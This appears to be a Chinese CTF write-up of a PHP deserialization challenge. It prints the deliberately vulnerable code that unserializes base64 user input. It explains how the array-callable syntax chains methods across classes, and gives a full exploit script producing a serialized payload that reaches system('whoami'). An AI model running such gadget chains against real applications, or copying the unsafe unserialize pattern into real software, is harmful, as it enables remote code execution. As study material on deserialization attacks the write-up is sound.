记一道有趣的反序列化题目
<?php
class a {
public function __destruct()
{
$this->test->test();
}
}
abstract class b {
private $b = 1;
abstract protected function eval();
public function test() {
($this->b)();
}
}
class c extends b {
private $call;
protected $value;
protected function eval() {
if (is_array($this->value)) {
($this->call)($this->value);
} else {
die("you can't do this :(");
}
}
}
class d {
public $value;
public function eval($call) {
$call($this->value);
}
}
if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}
- 题目开始思路很简单,入口就是
__destruct
,$this->test->test();
当中会自动调到test
,而类b
中正存在test
,而类c
是继承类b
的因此类c
可以视作类b
的增量。也就是说c
中也存在test
方法.我们将$this->test
赋为object c
同样能调到test
.现在需要考虑的问题是方法test
如何调用到后面的方法。因为如果只将属性b
赋值为一个字符串的话那就只能调用简单的无参数方法例如phpinfo
,本题的目标肯定是RCE,肯定是需要调用到方法eval,并且跳转到class d
中的。这里就存在一个PHP的类方法调用的Trick.除了使用->
调用动态类方法外还有就是使用数组拼接括弧的方法例如:
<?php
class a{
public function __construct(){
[$this,'test']();
}
public function test(){
echo "hello hacker!";
}
}
new a();
- 该方法可以看到如果函数名字是一个数组,并且第一个元素是一个
Object
,第二个元素是一个字符串或者说方法名,那么在执行到该代码时候会自动调用第一个元素中的object的对应数组第二个元素的方法,也就是这$this
是指类a本身的object
,会自动调用到test方法。
- 知道该点之后我们就可以知道我们可以
class b
中的属性b
赋值为[$this,'eval']
如此一来我们就可以直接调用到类本身的eval
方法。但是由于class c
重载了eval方法他必须要求value
属性必须为数组。我们没法利用此进行RCE,我们必须另谋出路,我们可以看到class d
中也存在动态拼接函数的问题,但是它并没有限制参数必须是数组的情况。我们可以故技重施,在 class c
中的eval,利用上述方法调用d中的eval。例如
$this->call=[new d('system'),'eval'];
$this->value=[new d("whoami"),'eval'];
- 为什么value和call是一样的呢?因为上面要求value的值必须是一个数组,并且我们传入的value又会被当做函数来执行,这样的话就能够递归调用
class d
中的eval方法,在第一次调用后会再次调用d中的eval,并且给value赋值为system,在第一次调用完会递归调用一次eval,这时候eval的参数传入的是system
这样就导致执行system函数。从而RCE,递归调用过程如下:
<?php
class a {
public function __destruct()
{
$this->test->test();
}
}
abstract class b {
private $b ;
public function __construct()
{
$this->b = [$this,'eval'];
}
abstract protected function eval();
public function test() {
($this->b)();
}
}
class c extends b {
private $call;
protected $value;
public function __construct($command){
parent::__construct();
$this->call=[new d('system'),'eval'];
$this->value=[new d($command),'eval'];
}
protected function eval() {
if (is_array($this->value)) {
($this->call)($this->value);
// object d ->eval()
} else {
die("you can't do this :(");
}
}
}
class d {
public $value;
public function __construct($command){
$this->value=$command;
}
public function eval($call) {
//frist : $call :obect d('system') -> eval('system');
// $this->value = 'system'
//
// scecond : $call : object d('whoami') -> eval('system');
// $this->value = 'whoami'
// third : system('whoami')
//
$call($this->value);
//object d ->eval("whoami")
}
}
$a = new a();
$c = new c('whoami');
$a->test = $c;
echo base64_encode(serialize($a));